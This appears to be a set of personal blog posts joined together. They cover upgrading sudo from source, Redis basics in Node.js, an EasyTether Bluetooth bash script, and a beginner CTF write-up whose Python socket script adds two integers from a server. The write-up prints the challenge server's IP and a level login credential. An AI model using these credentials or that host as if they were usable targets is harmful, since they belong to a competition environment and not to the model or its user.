- after downloaded, extract the file using `tar` command.

    ``` bash
    tar -xzvf sudo-1.9.5p2.tar.gz
    ```
    - tar is an archiving utilities used to extract the file, 
    - `-x` param, is to extract
    - `-z` is to extract the gz or zip extension
    - `-v` is for verbose
    - `-f` is to specify the file which is **`sudo-1.9.5p2.tar.gz`**.

- it will extract the file into a folder called **sudo-1.9.5p2/**
- cd into that folder using 
    ``` bash
    cd sudo-1.9.5p2/
    ```
- then configure the installation by running **./configure** inside that folder.
    ``` bash
    ./configure
    ```
- after finished the configuration process, we just run make and install it.
    ``` bash
    make && sudo make install
    ```

- after the installation finished, we need to restart our session, to make use of the latest sudo version.
- example below shows, after i finished installed it

    ![results of sudo --version command showing that I've installed newer version of sudo](sudoinstalled.png)

sudo upgrade sudo


## Installing redis server.
1. Ubuntu based system.
    - sudo apt update
    - sudo apt install redis
    - sudo systemctl start redis
    - redis-cli ping

2. Centos/RHEAL based system
    - [Digital Ocean Reference](https://www.digitalocean.com/community/tutorials/how-to-install-secure-redis-centos-7)
    - sudo yum install epel-release
    - sudo yum install redis -y
    - systemctl start redis.service
    - redis-cli ping

- after running `redis-cli ping` you will get `PONG` in return from the server

## Connecting Javascript project to redis.
- to connect our javascript to redis, we use [redis](https://www.npmjs.com/package/redis) node module.
- install redis using: `npm install redis`.
- then you can require the module using: `const redis = require('redis')`
- default redis url for redis server in localhost : `redis://127.0.0.1:6379`
- example code to create connection to server. 
``` js 
    const redis  = require('redis');
    const redisUrl = 'redis://127.0.0.1:6379'; 
    const client = redis.createClient(redisUrl);
```

## Storing and Getting Data to Redis
- redis store data in form of `(key,value)` index.
- we can only store string data in redis, so let say you want to store an object or array you need to stringify it into a json object.
- to store data in redis, we use the `set` method from the `redis` node module.
- example code.
``` js
    client.set('myKey','myValue',myCallback);
```
- to get data from redis, we use `get` method by giving the `key` as the parameter
- example code.
``` js
    client.get('myKey',myCallback)
```
- the callback for `get` method returns two value, `error` and `value` of the key.
- so let say we simply want to print the value.
``` js
    //this will print the value 'myValue` we previously set.
    client.get('myKey',(error,value)=>console.log(value)); 
```
- noticed that we are require to pass a callback in order to receive data from server, because this is an asynchronous operation.
- if you don't want to use callback and instead want to use `promise`, we can make use of `promisify` to convert our function into returning a promise.

```js
    const {promisify} = require('util');
    const getAsync = promisify(client.get).bind(client);    
```
- `getAsync` is now our new function that will return a promise
- we can use it with `await` or using `then`
- example using await.
``` js
    //make sure this code run in async function
    try{
        const value = await getAsync('myKey');
        console.log(value);
    }catch(error){
        console.error(error)
    }
```
- example using `.then`
``` js
    getAsync('myKey').then(console.log).catch(console.error)
```

Redis basic


## Introduction

I've been using easytether for quite some times, to tether mobile data from my smartphone to my linux computer. Usually I just use the easytether-usb
but sometimes it is more handy to use the bluetooth tethering and I don't need to constantly plug in my phone to the computer using usb.

If you are an easytether user and a noob linux user like me, you probably experience this everytime you want to connect your phone via bluetooth tethering, 

you are requires to find out the Mac Address of your connected phone from the bluetooth GUI interface:
 > you first need to > open up terminal > write _"easytether-bluetooth <-Your Mac address->"_ . 

I am too lazy to constantly writing those command so I decided that maybe I can write a script for that ....

## The procedure
To use easytether-bluetooth, I usually follow these steps:
1. find my phone bluetooth mac address
2. connect to it using ``` easytether-bluetooth xx:xx:xx:xx:xx:xx ``` where xx:xx:xx:xx:xx:xx is my mac address
3. sometimes easytether already running and I need to kill it and re run that command.

## The script
I think my script is straight foward.

```bash
#!/bin/bash

# myMac=$(hcitool dev | grep -o "[[:xdigit:]:]\{11,17\}")
devMac=$(hcitool con | grep -o "[[:xdigit:]:]\{11,17\}")

echo "PC addr- $myMac"

function blt_connect {
    #check if easy-tether already running 
    if grep -q "easytet+" <<< $(ps -aux) ; then
        echo "easytether already running in background"
        echo "Killing existing process"
        sudo kill $(pgrep easytet+)
        echo "reloading connection.."
        sudo easytether-bluetooth $devMac
    else
        echo "Trying to connnect"
        sudo easytether-bluetooth $devMac
        exit
    fi
}


if grep -q "[[:xdigit:]:]\{11,17\}" <<< "$devMac"; then
    echo "Connected Device- $devMac .."
    echo "connecting tether using bluetooth..."
    blt_connect
else
    echo "Bluetooth Device Not Connected"
fi
```

## The script breakdown

The first part me finding my device mac address using hcitool.
```hcitool``` is bluetooth configure connection tools and you can read more [here](https://linux.die.net/man/1/hcitool).

So, what I did was I use ```hcitool con``` to display active connection info (my smartphone that already connected to the pc)
and use grep regex to take only the mac address of my connected smartphone and store in a variable $devMac.

```bash
    #!/bin/bash

    # myMac=$(hcitool dev | grep -o "[[:xdigit:]:]\{11,17\}")
    devMac=$(hcitool con | grep -o "[[:xdigit:]:]\{11,17\}")
```

Then I use ```grep``` and ```ps -aux``` to check if easytether previously running in the background,
if true, I simply kill it and then run easytether-bluetooth,

```bash
    function blt_connect {
        #check if easy-tether already running 
        if grep -q "easytet+" <<< $(ps -aux) ; then
            echo "easytether already running in background"
            echo "Killing existing process"
            sudo kill $(pgrep easytet+)
            echo "reloading connection.."
            sudo easytether-bluetooth $devMac
        else
            echo "Trying to connnect"
            sudo easytether-bluetooth $devMac
            exit
        fi
    }
```

Bottom part of the code is just me simply checking if my phone bluetooth is actually connected to my pc before running ```easytether-bluetooth```
```bash
if grep -q "[[:xdigit:]:]\{11,17\}" <<< "$devMac"; then
    echo "Connected Device- $devMac .."
    echo "connecting tether using bluetooth..."
    blt_connect
else
    echo "Bluetooth Device Not Connected"
fi
```
next part is just making the script executable and use it. 
```sh
nurbxfit@jun~: chmod +x easytether-bluetooth.sh
```

This is actually not a great script, but I am able to get the job done with it.

I am not that experience with linux and writing bash script, but I am able to learn a lot while researching on how to write this script. I hope others can learn something from this too.

Easytether Bluetooth Script


## Intro
Back in February 2020, I joined RawSec 2020 minicon CTF competition held in KL under my lecturer' name (he's the one who attends the event, and I join the CTF remotely for fun). I joined this CTF challenges with my buddy [@CrystalCry97](https://github.com/amalsyahmi). 

We are able to solve quite number of challenges in that game,
but we didn't win because we both are still noobs or atleast I am noobs compared to other talented participants who joined that event. Back then I haven't got a chance to write a proper write-up on the challenges, but I still save some of the source code that I used to solve the challenges, and in this post I'll try to explain a bit about my solution and the source code.



## The Question
So this is a noobs level question.

![wargames0 questions](wargames0.png)

Out of my limited knowledge, I think there are a few ways to approach this problem, maybe we can use netcat to connect to the server to get and send the unsigned integers, or maybe write a bash script on top of that ? Because I am not that well knowledgable about linux command and bash scripting, I choose to approched this problem using python script.

## My Approach..
1. The first thing that I do is ping the domain name to get the ip address of the server (didn't remember if I ping it or use nmap to scan it, but I just want the IP address).
2. Then I start to write the script.
3. For the script, I am using python socket library to create a socket to communicate with the server and also make use of python struct library to pack and unpack the bytes send by the server. 
4. After received the 2 integers I add it together, send it back to the server and then wait for the flag 

the entire code is like this, (note that, this code is dirty and not great)
```python
import socket
import struct
s = socket.socket()
s.settimeout(2)
try:
    s.connect(target)
    mylist = []
    added = 0
    for x in range (0,2):
        header = struct.unpack('<I', s.recv(4))
        mylist.append(header)
    print mylist
    # add two numbers together
    for number in mylist:
        added += number[0]
        print number
        print "added:",added
    #send back the added number
    
    added = struct.pack('<I',added)
    print 'Sending:',added
    s.send(added)
    print "Wait for reply",
    reply = s.recv(1024)   
    print "reply", reply
    s.close()
    # print bytesNumber
    
except socket.error as error:
    print "Error Connecting:", error
```

this part of the code is just me importing the library and initialize the socket
I set the port number and the ip address of the target server to connect to.
```python
import socket
import struct
s = socket.socket()
s.settimeout(2)
port = 5345
target = (" 113.23.255.180",port)
```

then inside try statement, I try to connect to the server, I loops 2 times because of the 2 unsinged intergers being send by the server. I used struct.unpack() to unpack the bytes data, 
and '<I' parameter to unpack the little endian bytes into an interger
```python
try:
    s.connect(target)
    mylist = []
    added = 0
    for x in range (0,2):
        header = struct.unpack('<I', s.recv(4))
        mylist.append(header)
    print mylist
```

then, I basically just add those two integers in the list together and pack it back to send to the server and wait for the reply.

```python
    # add two numbers together
    for number in mylist:
        added += number[0]
        print number
        print "added:",added
    #send back the added number
    
    added = struct.pack('<I',added)
    print 'Sending:',added
    s.send(added)
    print "Wait for reply",
    reply = s.recv(1024)   
    print "reply", reply
    s.close()
    # print bytesNumber
```

and then the server reply  with the flag,
I used it to ssh into the next challenge
```
 User:level1 Pass:Adad!3fse5s
```

Well, I don't think that this is a best approach and obviously not the best code to tackle the problem,
but I just want to share how I did it. I hope this can be helpful to anyone that stumble across this kind of question. If there is easier and better solution, feel free to share it with me.

Blog Posts